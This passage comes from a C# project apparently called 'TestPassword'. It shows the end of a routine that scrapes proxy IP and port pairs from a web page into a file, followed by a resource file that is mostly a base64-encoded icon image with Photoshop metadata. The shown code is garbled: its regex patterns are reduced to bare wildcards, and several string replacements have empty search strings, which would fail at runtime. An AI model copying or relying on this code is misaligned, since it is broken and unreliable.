Thread.Sleep(50);
//Goto 重新获取代理IP
RetryUrl:
string str = HttpHelp.HttpGet(url);
if (str == "" || str.Contains("-10"))
{
httpProxy.SwitchOff();
goto RetryUrl;
}
string tbody = Regex.Match(str.Replace(" ", "").Replace("\r", "").Replace("\n", ""), @".+").ToString();
//Goto 重新获取代理IP
RetryIP:
string proxya = Regex.Match(tbody, ".+?").ToString();
string proxyb = Regex.Match(tbody, ".+?").ToString();
if (proxya == "" || proxyb == "") { return; }
string _proxya = proxya.Replace("", "").Replace("", "");
string _proxyb = proxyb.Replace("", "").Replace("", "");
File.AppendAllText(StaticClass.proxy, _proxya + ":" + _proxyb + "\r\n");
tbody = tbody.Replace(proxya, "").Replace(proxyb, "");
goto RetryIP;
}
}
}
================================================
FILE: TestPassword V1.8.1.1/TestPassword/Proxy.resx
================================================
text/microsoft-resx
2.0
System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
AAABAAEAAAAAAAEAIADXfQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAlw
SFlzAAALEwAACxMBAJqcGAAAOe5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp
bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1ldGEgeG1sbnM6eD0i
YWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwg
MjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8v
d3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlv
biByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hh
cC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEu
MS8iCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3No
b3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEu
MC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv
c1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9i
ZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29t
L2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIw
MTcgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3
LTEyLTI4VDExOjE4OjI5KzA4OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlE
YXRlPjIwMTctMTItMjhUMTE6MjI6MTYrMDg6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1w
Ok1ldGFkYXRhRGF0ZT4yMDE3LTEyLTI4VDExOjIyOjE2KzA4OjAwPC94bXA6TWV0YWRhdGFEYXRlPgog
ICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9w
OkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJ
RD54bXAuaWlkOjA5MjQ3MDk1LWVkMTItZjg0NS04OWU1LWQwYjg5YmFkNTMyMDwveG1wTU06SW5zdGFu
Y2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+YWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOjQyYTRl
YzRkLWViN2UtMTFlNy04MjNjLWRkYjI5ZTNjOGY5YTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAg
PHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD54bXAuZGlkOjY2MTA3MzA5LWJhZmYtMzE0ZC1iNTU3LWUw
MTVlMWQyYjYzMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SGlzdG9y
eT4KICAgICAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlw
ZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNyZWF0ZWQ8L3N0RXZ0
OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0Omluc3RhbmNlSUQ+eG1wLmlpZDo2NjEwNzMw
OS1iYWZmLTMxNGQtYjU1Ny1lMDE1ZTFkMmI2MzM8L3N0RXZ0Omluc3RhbmNlSUQ+CiAgICAgICAgICAg
ICAgICAgIDxzdEV2dDp3aGVuPjIwMTctMTItMjhUMTE6MTg6MjkrMDg6MDA8L3N0RXZ0OndoZW4+CiAg
ICAgICAgICAgICAgICAgIDxzdEV2dDpzb2Z0d2FyZUFnZW50PkFkb2JlIFBob3Rvc2hvcCBDQyAyMDE3
IChXaW5kb3dzKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAg
ICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAg
ICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxz
dEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6MDkyNDcwOTUtZWQxMi1mODQ1LTg5ZTUtZDBiODliYWQ1MzIw
PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE3LTEyLTI4
VDExOjIyOjE2KzA4OjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdh
cmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdl
bnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAg
ICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwveG1wTU06
SGlzdG9yeT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAg
ICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAg
ICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAg
ICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxl
eGlmOkNvbG9yU3BhY2U+NjU1MzU8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPGV4aWY6UGl4ZWxY
RGltZW5zaW9uPjI1NjwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURp
bWVuc2lvbj4yNTY8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4K
ICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg
